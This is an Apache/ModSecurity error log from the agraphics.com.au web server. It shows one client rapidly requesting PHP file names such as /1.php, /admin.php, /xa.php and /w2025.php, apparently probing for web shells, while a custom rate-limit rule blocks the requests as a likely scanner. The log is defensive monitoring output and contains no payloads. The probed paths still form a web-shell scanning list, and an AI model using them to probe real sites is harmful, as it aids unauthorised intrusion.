[Sun Apr 26 01:35:56.639997 2026] [:error] [pid 59898:tid 59957] [client 20.199.101.230:2986] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aez7fB-4vImxb0kbdzfeIQAAAMM"]
[Sun Apr 26 01:35:57.402279 2026] [:error] [pid 3212:tid 3222] [client 20.199.101.230:44648] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aez7ffg-28TY8_YLtUe-qgAAAQg"]
[Sun Apr 26 01:35:58.563940 2026] [:error] [pid 3212:tid 3236] [client 20.199.101.230:55070] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aez7fvg-28TY8_YLtUe-rQAAARY"]
[Sun Apr 26 01:35:59.502805 2026] [:error] [pid 3212:tid 3219] [client 20.199.101.230:49677] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aez7f_g-28TY8_YLtUe-tAAAAQU"]
[Sun Apr 26 01:36:00.373568 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:45436] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aez7gPg-28TY8_YLtUe-twAAARU"]
[Sun Apr 26 01:36:01.140487 2026] [:error] [pid 3212:tid 3220] [client 20.199.101.230:48937] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aez7gfg-28TY8_YLtUe-vQAAAQY"]
[Sun Apr 26 01:36:01.780446 2026] [:error] [pid 3212:tid 3236] [client 20.199.101.230:35006] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aez7gfg-28TY8_YLtUe-xAAAARY"]
[Sun Apr 26 01:36:02.433942 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:40031] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aez7gvg-28TY8_YLtUe-xwAAAQs"]
[Sun Apr 26 01:36:03.097855 2026] [:error] [pid 59896:tid 59914] [client 20.199.101.230:48959] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aez7g7LLzhtkd-OXUgBWNQAAAE4"]
[Sun Apr 26 01:36:03.821336 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:29879] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aez7g_g-28TY8_YLtUe-0gAAAQw"]
[Sun Apr 26 01:36:04.404780 2026] [:error] [pid 3212:tid 3229] [client 20.199.101.230:16009] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aez7hPg-28TY8_YLtUe-2QAAAQ8"]
[Sun Apr 26 01:36:05.062329 2026] [proxy_fcgi:error] [pid 59896:tid 59904] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:05.304971 2026] [proxy_fcgi:error] [pid 59896:tid 59917] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:05.545174 2026] [proxy_fcgi:error] [pid 59896:tid 59910] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:05.790051 2026] [proxy_fcgi:error] [pid 59896:tid 59918] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:06.068335 2026] [proxy_fcgi:error] [pid 59896:tid 59908] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:06.344887 2026] [proxy_fcgi:error] [pid 59896:tid 59905] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:06.591797 2026] [proxy_fcgi:error] [pid 59896:tid 59904] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:06.830325 2026] [proxy_fcgi:error] [pid 59896:tid 59913] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:08.103928 2026] [proxy_fcgi:error] [pid 59896:tid 59923] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:08.390440 2026] [proxy_fcgi:error] [pid 59896:tid 59904] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:08.635419 2026] [proxy_fcgi:error] [pid 59896:tid 59901] [client 20.199.101.230:29835] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:36:08.870362 2026] [:error] [pid 59896:tid 59913] [client 20.199.101.230:29835] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aez7iLLLzhtkd-OXUgBWgwAAAE0"]
[Sun Apr 26 01:36:09.601022 2026] [:error] [pid 3212:tid 3227] [client 20.199.101.230:52628] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aez7ifg-28TY8_YLtUe-6wAAAQ0"]
[Sun Apr 26 01:36:10.226906 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:48918] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aez7ivg-28TY8_YLtUe-8AAAAQk"]
[Sun Apr 26 01:36:10.869935 2026] [:error] [pid 59985:tid 60003] [client 20.199.101.230:40035] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aez7igF_zDvEhKvyTH7_zAAAABA"]
[Sun Apr 26 01:36:11.538250 2026] [:error] [pid 3212:tid 3228] [client 20.199.101.230:34956] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aez7i_g-28TY8_YLtUe--AAAAQ4"]
[Sun Apr 26 01:36:12.056355 2026] [:error] [pid 3212:tid 3217] [client 20.199.101.230:52617] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aez7jPg-28TY8_YLtUe--QAAAQM"]
[Sun Apr 26 01:36:12.766445 2026] [:error] [pid 59897:tid 59938] [client 20.199.101.230:49696] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aez7jPBrrkdzpEbmK4fBsAAAAIs"]
[Sun Apr 26 01:36:13.482037 2026] [:error] [pid 59985:tid 59998] [client 20.199.101.230:43714] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aez7jQF_zDvEhKvyTH7_0QAAAAs"]
[Sun Apr 26 01:36:14.024736 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:43732] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aez7jrLLzhtkd-OXUgBWmgAAAEo"]
[Sun Apr 26 01:36:14.697893 2026] [:error] [pid 59897:tid 59940] [client 20.199.101.230:59889] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aez7jvBrrkdzpEbmK4fBsgAAAI0"]
[Sun Apr 26 01:36:15.285783 2026] [:error] [pid 3212:tid 3227] [client 20.199.101.230:48743] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aez7j_g-28TY8_YLtUe_BgAAAQ0"]
[Sun Apr 26 01:36:15.971288 2026] [:error] [pid 59898:tid 59971] [client 20.199.101.230:29827] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aez7jx-4vImxb0kbdzfeLAAAANE"]
[Sun Apr 26 01:36:16.739694 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:40040] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aez7kPg-28TY8_YLtUe_DQAAARU"]
[Sun Apr 26 01:36:17.376632 2026] [:error] [pid 59985:tid 59995] [client 20.199.101.230:49667] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aez7kQF_zDvEhKvyTH7_1AAAAAg"]
[Sun Apr 26 01:36:17.992417 2026] [:error] [pid 59896:tid 59903] [client 20.199.101.230:55044] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aez7kbLLzhtkd-OXUgBWqwAAAEM"]
[Sun Apr 26 01:36:18.618123 2026] [:error] [pid 59985:tid 60011] [client 20.199.101.230:48914] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aez7kgF_zDvEhKvyTH7_2AAAABg"]
[Sun Apr 26 01:36:19.532450 2026] [:error] [pid 3212:tid 3235] [client 20.199.101.230:43728] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aez7k_g-28TY8_YLtUe_EQAAARU"]
[Sun Apr 26 01:36:20.288288 2026] [:error] [pid 59898:tid 59955] [client 20.199.101.230:43758] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aez7lB-4vImxb0kbdzfeMQAAAME"]
[Sun Apr 26 01:36:20.997822 2026] [:error] [pid 59898:tid 59976] [client 20.199.101.230:53334] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aez7lB-4vImxb0kbdzfeMwAAANY"]
[Sun Apr 26 01:36:21.735263 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:59858] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aez7lfg-28TY8_YLtUe_FAAAARg"]
[Sun Apr 26 01:36:22.516530 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:44651] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aez7lvg-28TY8_YLtUe_FgAAARQ"]
[Sun Apr 26 01:36:23.126745 2026] [:error] [pid 3212:tid 3219] [client 20.199.101.230:53346] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aez7l_g-28TY8_YLtUe_HAAAAQU"]
[Sun Apr 26 01:36:24.277279 2026] [:error] [pid 59898:tid 59975] [client 20.199.101.230:9403] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aez7mB-4vImxb0kbdzfeNwAAANU"]
[Sun Apr 26 01:36:25.104494 2026] [:error] [pid 59898:tid 59967] [client 20.199.101.230:52665] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aez7mR-4vImxb0kbdzfeOAAAAM0"]
[Sun Apr 26 01:36:25.713302 2026] [:error] [pid 59897:tid 59943] [client 20.199.101.230:59876] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aez7mfBrrkdzpEbmK4fBwQAAAJA"]
[Sun Apr 26 01:36:26.373292 2026] [:error] [pid 59897:tid 59941] [client 20.199.101.230:52611] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aez7mvBrrkdzpEbmK4fBwgAAAI4"]
[Sun Apr 26 01:36:27.028913 2026] [:error] [pid 59897:tid 59932] [client 20.199.101.230:52625] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aez7m_BrrkdzpEbmK4fBxwAAAIU"]
[Sun Apr 26 01:36:27.671187 2026] [:error] [pid 59985:tid 60009] [client 20.199.101.230:48926] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aez7mwF_zDvEhKvyTH7_6gAAABY"]
[Sun Apr 26 01:36:28.333908 2026] [:error] [pid 59985:tid 59998] [client 20.199.101.230:55068] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aez7nAF_zDvEhKvyTH7_7wAAAAs"]
[Sun Apr 26 01:36:29.155096 2026] [:error] [pid 59896:tid 59918] [client 20.199.101.230:45397] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aez7nbLLzhtkd-OXUgBWtQAAAFI"]
[Sun Apr 26 01:36:29.846512 2026] [:error] [pid 59896:tid 59915] [client 20.199.101.230:43719] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aez7nbLLzhtkd-OXUgBWuAAAAE8"]
[Sun Apr 26 01:36:30.492192 2026] [:error] [pid 59985:tid 59994] [client 20.199.101.230:44654] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aez7ngF_zDvEhKvyTH7_9gAAAAc"]
[Sun Apr 26 01:36:31.138476 2026] [:error] [pid 59896:tid 59901] [client 20.199.101.230:59850] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aez7n7LLzhtkd-OXUgBWuQAAAEE"]
[Sun Apr 26 01:36:31.722808 2026] [:error] [pid 59896:tid 59905] [client 20.199.101.230:43775] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aez7n7LLzhtkd-OXUgBWvAAAAEU"]
[Sun Apr 26 01:36:32.305842 2026] [:error] [pid 59896:tid 59900] [client 20.199.101.230:29852] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aez7oLLLzhtkd-OXUgBWvQAAAEA"]
[Sun Apr 26 01:36:32.933105 2026] [:error] [pid 59896:tid 59920] [client 20.199.101.230:53321] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aez7oLLLzhtkd-OXUgBWwAAAAFQ"]
[Sun Apr 26 01:36:33.646627 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:53319] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aez7ofg-28TY8_YLtUe_IAAAARE"]
[Sun Apr 26 01:36:34.308402 2026] [:error] [pid 59897:tid 59928] [client 20.199.101.230:40032] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aez7ovBrrkdzpEbmK4fBzAAAAIE"]
[Sun Apr 26 01:36:35.086847 2026] [:error] [pid 59896:tid 59918] [client 20.199.101.230:59075] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aez7o7LLzhtkd-OXUgBWxAAAAFI"]
[Sun Apr 26 01:36:35.780282 2026] [:error] [pid 59898:tid 59954] [client 20.199.101.230:2596] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aez7ox-4vImxb0kbdzfeOQAAAMA"]
[Sun Apr 26 01:36:36.388474 2026] [:error] [pid 3212:tid 3221] [client 20.199.101.230:29848] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aez7pPg-28TY8_YLtUe_KgAAAQc"]
[Sun Apr 26 01:36:37.124211 2026] [:error] [pid 59896:tid 59922] [client 20.199.101.230:53326] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aez7pbLLzhtkd-OXUgBWyAAAAFY"]
